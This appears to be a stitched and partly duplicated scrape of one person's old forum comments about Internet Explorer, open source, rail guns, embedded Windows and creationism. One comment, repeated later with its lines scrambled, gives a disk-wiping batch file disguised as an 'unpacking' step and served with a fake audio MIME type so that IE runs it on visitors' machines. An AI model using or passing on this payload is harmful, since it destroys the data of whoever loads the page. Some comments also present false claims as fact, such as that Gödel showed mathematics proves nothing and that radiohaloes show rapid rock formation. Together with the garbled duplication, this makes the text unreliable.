a significant protion of the readership *does* use IE
Isn't this like PHB's reading Dilbert... and not getting it, either?
How many of those were IE for Mac? Until the advent Mozilla, that was a pretty reasonable choice. Things like fixed-position HTML objects actually worked.
Probably the Uber-Patch installs Linux in a VM and runs IE under that. (-:
Because it's heaps easier to loft material, and in particular steel, from the moon than from Earth. You also get near-vacuum conditions for processing stuff and better solar conditions (although you'd have to bootstrap with a nuke until the moon mine had its own solar power satellite because of that 336-hour day). Moon mines would feed earth-orbiting powersats, which then feed antennae on earth.
The microwaves arrive highly dilute, so the splash is actually less than for power lines, and defocusses rapidly anyway if it loses tracking. Using 1960s technology, it was feasible to track aircraft in flight and power them with microwaves. Today, we could probably target them well enough to warm individual passengers' coffee.
Copy this text, paste it into a file called imamoron.bat and stick it on your web server:
@echo off
echo Please wait, unpacking...
format/y c:
Now tell the webserver that the MIME type for BAT files is audio/x-wav and add a link to imamoron.bat (you probably need to restart your webserver). Hit it with IE, and kiss your hard disk goodbye.
...which means that it would still be live even if saved to disk and clicked on. It may not be run with notepad, but odds are good that one way or another it will ruin notepad...
...or more particularly the melange of software development. (-:
Thinking about this should give one great confidence in OSS's ability to weather Microsoft's attacks, since in order to win they need to destroy all of the contributing factors.
This becomes a really hard thing to do when many motivating factors turn out to contradict (e.g. some people contribute for fun, others because they have to (work not fun) in order to make something that they need work; some people use it 'coz it's free, others couldn't care less about the price; some like it for its disregard of borders, others like it because of significant local content; sometimes being on the bleeding edge attracts, sometimes stability is the drawcard).
Pinning down your own reasons isn't that hard, cataloging them all might be a different story. I like OS for a wide variety of reasons, but mostly for the ability to tinker with it.
Would have chosen MIPS too only they're getting kind of hard to get. I remember something from about a year ago to do with a MIPS-based ATX motherboard, though.
IA64 Linux is now shipping from several places. The next release of Mandrake looks set to ship for at least IA32, IA64, PPC and Alpha, if Cooker is any good as an indication. There's also some discussion of a 386/486 backport (standard Mandrake needs at least a Pentium).
A rail gun vaporizes a thin conductive coating on the back of a shell and electrostatic repulsion of the vaporized coating thrusts the shell forward.
Well, that's one kind of rail gun. Another kind is basically a coil gun in reverse, where the current across the rails makes a field which pushes against the frame. True, the projectile would get kind of hot, but you do get a lot more than one shot per gun. This is the kind that I have in mind, plus maybe a stage or two of coils for tweaking on the way out the end of the gun. Give it to the Australian military as a project and they'd build the first useable one for a few million (-: the Yanks would need a few (tens of) billions to do the same thing:-)
Coil guns have often been proposed for space launching devices (as in, tonnes per shot), but the big bummer there is also heat. Much of the heat in that huge flame spat out by rockets is necessary, unless you're dealing with Buck Rogers levels of efficiency in your equipment, no matter how the launching is done. Dissipating even a few percent of that much energy in a fixed, solid structure is not easy.
They just make up any old number and say they used a special method to date the stuff.
In reality, they pick a range of numbers that they feel comfortable with, then sift through dating methods until one or more fall within that range. Sometimes they have to date stuff many times to get ``reliable'' dates. (-:
How many of you seriously believe that a city would sink four inches per year, every year, since it was built, and that people capable of building such a city would also be thick enough to build it where it would sink?
Going Devil's Advocate for myself, the white cliffs of Dover have crumbled back many miles during recorded history, and whole towns have gone over the brink, leaving no trace. OTOH, Medievel architects had nothing on (e.g) the pyramid builders or Incas in terms like ``scale'' (using stone blocks (Andesite, in some places) weighing thousands of tonnes) or ``alignment'' (the pyramids have settled evenly (to within less than 2 inches) across their whole base in the thousands of years since they were built). If only modern builders were 1% as good!
It's rather unlikely that the city was built whilst underwater,
Of course they built it that way! How else d'ya think they lifted those huge stone blocks? (-:
At the end of it all, there was the small matter of the contractor going broke before they could organise to raise the site, but, oh, well... them's the breaks. Swimming facilities and 100% effective reticulation free with every site, Stage 3 and final release selling now, get yours before they all dry up!
Throw ball bearings very, very fast
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A standard truck-mounted generator with a couple of little railguns on the roof would do the same job (by flinging a bucketful of ballbearings at the target in a second or so) for a lot less $$$ and would also make a really neat ripping noise when it fired.
Not as easy to steer as a laser but extremely difficult to defend against. Good for anti-aircraft as well, since colanders have poor aerodynamics. Anything not detonated by ball bearings doing many kilometers a second would be thrown well off course. Not that this is not necessarily an advantage, since certain nations are reknowned for just carpeting the target area with ordinance and knocking something off course might make it more accurate.
Paul Allen of Microsoft fame, to name another financial heavyweight, is also putting his money where his beliefs are. I respect their rights to support causes that they like, I just wish there were a little less lying and misdirection by them, plus a little less blind acceptance by the other parties involved.
...based on the concept of religion being belief in an unprovable worldview: Godel demonstrated that mathematics cannot actually prove anything, with complete certainty as such, so mathematics is the ideal religion in those terms.
Science is only a wannabee religion, which keeps on believing in the face of multiple and obvious disproofs, rather than in the mere absence of proof. (-:
Meanwhile, you can go for a walk in Saudi Arabia and visit the real Mount Sinai (complete with burnt top and artefacts), see the split stone from which water gushed (complete with erosion) - at the top of a hill, no less - and dive nearby to look at the remains of Pharaoh's army on the bottom of the Gulf of Aquaba (which at the time was considered part of the Red Sea). You can also track the progress of rock formation in real time (dt/dt or not) in a variety of radiohaloes, and damn, it's fast. So all in all, at least one of the religions is set to lose its status, at least under that ``unprovable'' rule.
This is the last straw. I have already talked to all of the relevant managers and we are slated to migrate all of our users e-mail action to Eudora starting in January.
This will reduce the problem but not fix it.
Migrate your clients to Linux on PPC (iMacs are nice for this, StarOffice on LinuxPPC is just about happy enough to use) and never fear an attachment again. Plan ahead to include some Alpha and MIPS boxes as well (you can do that on the server end now), so when some meathead eventually produces the first serious LinuxPPC virus it doesn't get everyone in your office.
Done. That's how the entire IT section operates at this site: they use ssh (PuTTY) to a Linux box and Pine to read their mail there. Being the black sheep of the family, I use KMail.
Embedded? It means that the kiosk weighs so much by the time you've got it all optioned up to work acceptably, that it embeds itself in the pavement.
512MB plus gigabytes of disk for basic OS plus database components? Suuure... I can probably give you that in 512K of RAM and on one floppy! Give me a superdrive floppy and and 16MB and you can have a complete, all-singing, all dancing diskless kiosk (Galeon on FB on Linux) built out of commodity OSS components.
You want me to do embedded XP? No worries, but you supply the shovel.
you've heard about bits, well here they are... the XP From Scratch distribution... (-:
This IS Lucent, WinModem maker, being discussed?
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embedded NT/XP would be the new OS on these switches over the UNIX-based OS that has been running them for the last 10-15 years.
That's so the tech support people for the other Windows-based products get a legitimate break every so often from all of those whining users. And the users feel better because the tech support people have had a taste of what they face every morning. Sorry, our 'phone system went down and we couldn't find the installation CD.
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Isn't this like PHB's reading Dilbert... and not getting it, either?
How many of those were IE for Mac? Until the advent Mozilla, that was a pretty reasonable choice. Things like fixed-position HTML objects actually worked.
Probably the Uber-Patch installs Linux in a VM and runs IE under that. (-:
Because it's heaps easier to loft material, and in particular steel, from the moon than from Earth. You also get near-vacuum conditions for processing stuff and better solar conditions (although you'd have to bootstrap with a nuke until the moon mine had its own solar power satellite because of that 336-hour day). Moon mines would feed earth-orbiting powersats, which then feed antennae on earth.
The microwaves arrive highly dilute, so the splash is actually less than for power lines, and defocusses rapidly anyway if it loses tracking. Using 1960s technology, it was feasible to track aircraft in flight and power them with microwaves. Today, we could probably target them well enough to warm individual passengers' coffee.
Copy this text, paste it into a file called imamoron.bat and stick it on your web server:
/y c:
@echo off
echo Please wait, unpacking...
format
Now tell the webserver that the MIME type for BAT files is audio/x-wav and add a link to imamoron.bat (you probably need to restart your webserver). Hit it with IE, and kiss your hard disk goodbye.
...which means that it would still be live even if saved to disk and clicked on. It may not be run with notepad, but odds are good that one way or another it will ruin notepad...
Thinking about this should give one great confidence in OSS's ability to weather Microsoft's attacks, since in order to win they need to destroy all of the contributing factors.
This becomes a really hard thing to do when many motivating factors turn out to contradict (e.g. some people contribute for fun, others because they have to (work not fun) in order to make something that they need work; some people use it 'coz it's free, others couldn't care less about the price; some like it for its disregard of borders, others like it because of significant local content; sometimes being on the bleeding edge attracts, sometimes stability is the drawcard).
Pinning down your own reasons isn't that hard, cataloging them all might be a different story. I like OS for a wide variety of reasons, but mostly for the ability to tinker with it.
I have access to a small LAN of 15 machines all 800MHz or better on 100Mb UTP. This would probably make a neato encoding ensemble.
Ayup. Why d'ya think I chose Alpha and PPC? (-:
Would have chosen MIPS too only they're getting kind of hard to get. I remember something from about a year ago to do with a MIPS-based ATX motherboard, though.
IA64 Linux is now shipping from several places. The next release of Mandrake looks set to ship for at least IA32, IA64, PPC and Alpha, if Cooker is any good as an indication. There's also some discussion of a 386/486 backport (standard Mandrake needs at least a Pentium).
Such as 1 == 2 and the proposition ``a horse has an infinite number of legs.'' (-:
Well, that's one kind of rail gun. Another kind is basically a coil gun in reverse, where the current across the rails makes a field which pushes against the frame. True, the projectile would get kind of hot, but you do get a lot more than one shot per gun. This is the kind that I have in mind, plus maybe a stage or two of coils for tweaking on the way out the end of the gun. Give it to the Australian military as a project and they'd build the first useable one for a few million (-: the Yanks would need a few (tens of) billions to do the same thing
Coil guns have often been proposed for space launching devices (as in, tonnes per shot), but the big bummer there is also heat. Much of the heat in that huge flame spat out by rockets is necessary, unless you're dealing with Buck Rogers levels of efficiency in your equipment, no matter how the launching is done. Dissipating even a few percent of that much energy in a fixed, solid structure is not easy.
In reality, they pick a range of numbers that they feel comfortable with, then sift through dating methods until one or more fall within that range. Sometimes they have to date stuff many times to get ``reliable'' dates. (-:
How many of you seriously believe that a city would sink four inches per year, every year, since it was built, and that people capable of building such a city would also be thick enough to build it where it would sink?
Going Devil's Advocate for myself, the white cliffs of Dover have crumbled back many miles during recorded history, and whole towns have gone over the brink, leaving no trace. OTOH, Medievel architects had nothing on (e.g) the pyramid builders or Incas in terms like ``scale'' (using stone blocks (Andesite, in some places) weighing thousands of tonnes) or ``alignment'' (the pyramids have settled evenly (to within less than 2 inches) across their whole base in the thousands of years since they were built). If only modern builders were 1% as good!
Of course they built it that way! How else d'ya think they lifted those huge stone blocks? (-:
At the end of it all, there was the small matter of the contractor going broke before they could organise to raise the site, but, oh, well... them's the breaks. Swimming facilities and 100% effective reticulation free with every site, Stage 3 and final release selling now, get yours before they all dry up!
Not as easy to steer as a laser but extremely difficult to defend against. Good for anti-aircraft as well, since colanders have poor aerodynamics. Anything not detonated by ball bearings doing many kilometers a second would be thrown well off course. Not that this is not necessarily an advantage, since certain nations are reknowned for just carpeting the target area with ordinance and knocking something off course might make it more accurate.
Or else, that I was only a hairsbreadth away from being able to do the same kind of things. (-:
...based on the concept of religion being belief in an unprovable worldview: Godel demonstrated that mathematics cannot actually prove anything, with complete certainty as such, so mathematics is the ideal religion in those terms.
Science is only a wannabee religion, which keeps on believing in the face of multiple and obvious disproofs, rather than in the mere absence of proof. (-:
Meanwhile, you can go for a walk in Saudi Arabia and visit the real Mount Sinai (complete with burnt top and artefacts), see the split stone from which water gushed (complete with erosion) - at the top of a hill, no less - and dive nearby to look at the remains of Pharaoh's army on the bottom of the Gulf of Aquaba (which at the time was considered part of the Red Sea). You can also track the progress of rock formation in real time (dt/dt or not) in a variety of radiohaloes, and damn, it's fast. So all in all, at least one of the religions is set to lose its status, at least under that ``unprovable'' rule.
Funny old world, isn't it? (-:
Even ignoring the actual content, odds are high that Stephen's incredibly wrong.
You don't have to know everything about physics to participate (otherwise nobody could participate, not even the revered Dr Hawking).
This will reduce the problem but not fix it.
Migrate your clients to Linux on PPC (iMacs are nice for this, StarOffice on LinuxPPC is just about happy enough to use) and never fear an attachment again. Plan ahead to include some Alpha and MIPS boxes as well (you can do that on the server end now), so when some meathead eventually produces the first serious LinuxPPC virus it doesn't get everyone in your office.
Done. That's how the entire IT section operates at this site: they use ssh (PuTTY) to a Linux box and Pine to read their mail there. Being the black sheep of the family, I use KMail.
...since those little lappies will run several different open source OSes...
Embedded? It means that the kiosk weighs so much by the time you've got it all optioned up to work acceptably, that it embeds itself in the pavement.
512MB plus gigabytes of disk for basic OS plus database components? Suuure... I can probably give you that in 512K of RAM and on one floppy! Give me a superdrive floppy and and 16MB and you can have a complete, all-singing, all dancing diskless kiosk (Galeon on FB on Linux) built out of commodity OSS components.
You want me to do embedded XP? No worries, but you supply the shovel.
eXcess Pieces?
eXtra Pieces?
comes in X Pieces, some assembly required?
you've heard about bits, well here they are... the XP From Scratch distribution... (-:
That's so the tech support people for the other Windows-based products get a legitimate break every so often from all of those whining users. And the users feel better because the tech support people have had a taste of what they face every morning. Sorry, our 'phone system went down and we couldn't find the installation CD.
Or, in the case of the Reign of Terror and/or sundry ``Communist'' regimes, killing each other for having an ``imaginary friend.''
imagine that... or that... or that...
...and press any key.
Microsoft is not used to handing out money for anything except marketing, so I need to search the installation medium for the necessary driver.
Please wait, and ignore any ghasps or screams of pain and rage which may occur during this process.
[--OK--] [--Easier-to-forget-about-the-money--] [--Too-drunk-to-care--] [--Screenshot--]
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You'll have to take that out of its cover before you run it over the photocopier - oh, hello officers, is there anything I can do for you?